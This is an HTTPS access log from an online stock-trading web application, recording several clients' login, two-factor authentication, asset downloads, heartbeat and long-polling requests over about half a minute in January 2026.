[09/Jan/2026:13:25:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:25:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:25:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 460
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:13:25:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936636546 HTTP/1.1" -
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936627253 HTTP/1.1" 3188
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:25:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936622384 HTTP/1.1" -
[09/Jan/2026:13:25:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936622048 HTTP/1.1" -
[09/Jan/2026:13:25:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936641576 HTTP/1.1" -
[09/Jan/2026:13:25:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936627593 HTTP/1.1" -
[09/Jan/2026:13:25:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936627093 HTTP/1.1" -
[09/Jan/2026:13:26:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936646638 HTTP/1.1" -
[09/Jan/2026:13:26:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936632714 HTTP/1.1" -
[09/Jan/2026:13:26:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936632182 HTTP/1.1" -
[09/Jan/2026:13:26:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936651695 HTTP/1.1" -
[09/Jan/2026:13:26:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936637889 HTTP/1.1" -
[09/Jan/2026:13:26:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936637270 HTTP/1.1" -
[09/Jan/2026:13:26:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936656719 HTTP/1.1" -
[09/Jan/2026:13:26:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936642936 HTTP/1.1" -
[09/Jan/2026:13:26:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936642330 HTTP/1.1" -
[09/Jan/2026:13:26:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 424
[09/Jan/2026:13:26:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:26:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:26:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:26:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:26:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
